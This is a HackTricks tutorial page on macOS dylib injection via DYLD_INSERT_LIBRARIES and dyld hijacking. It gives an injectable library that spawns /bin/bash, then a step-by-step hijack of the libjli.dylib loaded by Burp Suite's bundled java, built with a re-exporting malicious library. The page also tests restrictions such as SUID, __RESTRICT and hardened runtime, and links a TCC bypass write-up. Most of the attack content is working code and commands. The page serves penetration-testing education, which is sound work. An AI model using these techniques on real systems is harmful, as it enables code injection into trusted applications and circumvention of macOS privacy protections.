10 KiB
macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
- Discover The PEASS Family, our collection of exclusive NFTs
- Get the official PEASS & HackTricks swag
- Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
- Share your hacking tricks by submitting PRs to the hacktricks repo and hacktricks-cloud repo.
DYLD_INSERT_LIBRARIES Basic example
Library to inject to execute a shell:
// gcc -dynamiclib -o inject.dylib inject.c
#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
printf("[+] dylib injected in %s\n", argv[0]);
execv("/bin/bash", 0);
}
Binary to attack:
// gcc hello.c -o hello
#include <stdio.h>
int main()
{
printf("Hello, World!\n");
return 0;
}
Injection:
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
Dyld Hijacking Example
The targeted vulenrable binary is /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java
.
{% tabs %} {% tab title="LC_RPATH" %} {% code overflow="wrap" %}
# Check where are the @rpath locations
otool -l "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java" | grep LC_RPATH -A 2
cmd LC_RPATH
cmdsize 32
path @loader_path/. (offset 12)
--
cmd LC_RPATH
cmdsize 32
path @loader_path/../lib (offset 12)
{% endcode %} {% endtab %}
{% tab title="@rpath" %} {% code overflow="wrap" %}
# Check librareis loaded using @rapth and the used versions
otool -l "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java" | grep "@rpath" -A 3
name @rpath/libjli.dylib (offset 24)
time stamp 2 Thu Jan 1 01:00:02 1970
current version 1.0.0
compatibility version 1.0.0
{% endcode %} {% endtab %}
{% tab title="entitlements" %}
codesign -dv --entitlements :- "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java"
[...]com.apple.security.cs.disable-library-validation[...]
{% endtab %} {% endtabs %}
With the previous info we know that it's not checking the signature of the loaded libraries and it's trying to load a library from:
/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/libjli.dylib
/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/libjli.dylib
However, the first one doesn't exist:
pwd
/Applications/Burp Suite Professional.app
find ./ -name libjli.dylib
./Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib
./Contents/Resources/jre.bundle/Contents/MacOS/libjli.dylib
So, it's possible to hijack it! Create a library that executes some arbitrary code and exports the same functionalities as the legit library by reexporting it. And remember to compile it with the expected versions:
{% code title="libjli.m" %}
#import <Foundation/Foundation.h>
__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"[+] dylib hijacked in %s",argv[0]);
}
{% endcode %}
Compile it:
{% code overflow="wrap" %}
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation libjli.m -Wl,-reexport_library,"/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib" -o libjli.dylib
# Note the versions and the reexport
{% endcode %}
The reexport path created in the library is relative to the loader, lets change it for an absolute path to the library to export:
{% code overflow="wrap" %}
#Check relative
otool -l libjli.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 48
name @rpath/libjli.dylib (offset 24)
#Change to absolute to the location of the library
install_name_tool -change @rpath/libjli.dylib "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib" libjli.dylib
# Check again
otool -l libjli.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 128
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
{% endcode %}
Finally just copy it to the hijacked location:
{% code overflow="wrap" %}
cp libjli.dylib "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/libjli.dylib"
{% endcode %}
And execute the binary and check the library was loaded:
./java
2023-05-15 15:20:36.677 java[78809:21797902] [+] dylib hijacked in ./java
Usage: java [options] <mainclass> [args...]
(to execute a class)
{% hint style="info" %} A nice writeup about how to abuse this vulnerability to abuse the camera permissions of telegram can be found in https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/ {% endhint %}
Bigger Scale
If you are planing on trying to inject libraries in unexpected binaries you could check the event messages to find out when the library is loaded inside a process (in this case remove the printf and the /bin/bash
execution).
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
Check restrictions
SUID & SGID
# Make it owned by root and suid
sudo chown root hello
sudo chmod +s hello
# Insert the library
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
# Remove suid
sudo chmod -s hello
Section __RESTRICT
with segment __restrict
gcc -sectcreate __RESTRICT __restrict /dev/null hello.c -o hello-restrict
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-restrict
Hardened runtime
Create a new certificate in the Keychain and use it to sign the binary:
{% code overflow="wrap" %}
# Apply runtime proetction
codesign -s <cert-name> --option=runtime ./hello
DYLD_INSERT_LIBRARIES=inject.dylib ./hello #Library won't be injected
# Apply library validation
codesign -f -s <cert-name> --option=library ./hello
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed #Will throw an error because signature of binary and library aren't signed by same cert (signs must be from a valid Apple-signed developer certificate)
# Sign it
## If the signature is from an unverified developer the injection will still work
## If it's from a verified developer, it won't
codesign -f -s <cert-name> inject.dylib
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed
# Apply CS_RESTRICT protection
codesign -f -s <cert-name> --option=restrict hello-signed
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed # Won't work
{% endcode %}
{% hint style="danger" %}
Note that even if there are binaries signed with flags 0x0(none)
, they can get the CS_RESTRICT
flag dynamically when executed and therefore this technique won't work in them.
You can check if a proc has this flag with (get csops here):
csops -status <pid>
and then check if the flag 0x800 is enabled. {% endhint %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
- Discover The PEASS Family, our collection of exclusive NFTs
- Get the official PEASS & HackTricks swag
- Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
- Share your hacking tricks by submitting PRs to the hacktricks repo and hacktricks-cloud repo.